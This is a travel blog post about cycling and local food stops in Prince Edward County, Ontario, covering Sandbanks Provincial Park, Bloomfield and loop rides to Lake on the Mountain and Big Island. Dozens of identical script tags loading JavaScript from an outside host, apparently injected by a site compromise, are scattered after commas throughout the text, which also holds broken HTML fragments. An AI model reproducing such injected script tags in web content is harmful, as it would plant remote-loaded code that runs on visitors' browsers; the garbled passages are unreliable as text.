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Easy Riding in Prince Edward County

by Jennifer Krissilas

What is it about Prince Edward County, an island community in Southern Ontario, that keeps me going back spring, summer and fall? Answer: It’s a cycling and foodie paradise!

That’s not news. People have touted the county’s wealth of wineries, produce and culinary goodness for years—Prince Edward County even has a Taste Trail, a popular self-guided route that connects wineries and restaurants throughout the area. But being from Toronto, when I think of a local wine and produce region, I think of Niagara. Or at least I did until 2009, when I first rode through Prince Edward County.

Picnic, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> bicycle, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> meadow” width=”630″ height=”425″ /></a></p>
<p>I was doing the <a title=Great Waterfront Trail Adventure, an eight-day bike tour along Ontario’s Waterfront Trail (my odometer clocked in at 786 kilometres!). On Day 5, we biked 130 kilometres from Trenton to Kingston via Prince Edward County.

That’s not an unreasonable distance, but with rest stops hosted by communities about every 10 to 20 kilometres, it took all day. But although I biked across the county, I didn’t have the time to truly experience it. So I was determined to go back.

And back I went soon after, with a group from the Toronto Outdoor Club, which had cyclists ranging from novice to triathlete. (Fear not, newbie riders! While the county roads aren’t devoid of cars, traffic is light and speeds are slow. You’ll feel safe. Trust me.)

My outdoorsy group camped at Sandbanks Provincial Park, with its stunning sand dunes and beaches. Sandbanks is a nice base for cyclists, as it’s only a 12-kilometre ride to the beautiful village of Bloomfield, where you can continue along various bike routes short and long, depending on what you fancy.

Beach, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Sandbanks Provincial Park, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Ontario, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Canada” width=”630″ height=”417″ /></a></p>
<p>And when I’m riding, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> what I fancy is food! Natural, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> flavourful, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> local food. Bloomfield makes a fine first foodie stop—<a title=The Marshmallow Room artisan bakery has lots of fixings (breads, spreads, sweets and cheeses) for a perfect picnic up at Lake on the Mountain if you bike east or Big Island if you bike north. (If you bike west, to Wellington, forgo a picnic and splurge on one of the many restos there.)

Lake on the Mountain is on a 100-kilometre loop that allows you to visit plenty of food towns, such as:

And though it seems like a long, lactic-acid-producing ride, with so many yummy stops, it doesn’t feel like it. That’s my kind of country ride!

Sunset, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Sandbanks Provincial Park, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Ontario, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Canada” width=”630″ height=”417″ /></a></p>
<p>The 85-kilometre loop up to Big Island is a very different type of ride and not nearly as fun, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> in my mind, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> as I’m not fond of endless stretches of countryside, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> with rest stops only at the side of the road to refuel on energy bars and water. And, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> as we found out after stocking up on picnic goods at The Marshmallow Room (no shame in going there every day!), <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Big Island has <em>no public spaces</em>. But locals welcome cyclists, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and a smile was all it took to borrow a kind gentleman’s front lawn for a lunch by the water.</p>
<p>That’s why I enjoy exploring Prince Edward County on bike. It’s easier to mingle with locals and ride long distances without feeling hurried as one would in a car—to slow down and enjoy island life.</p>
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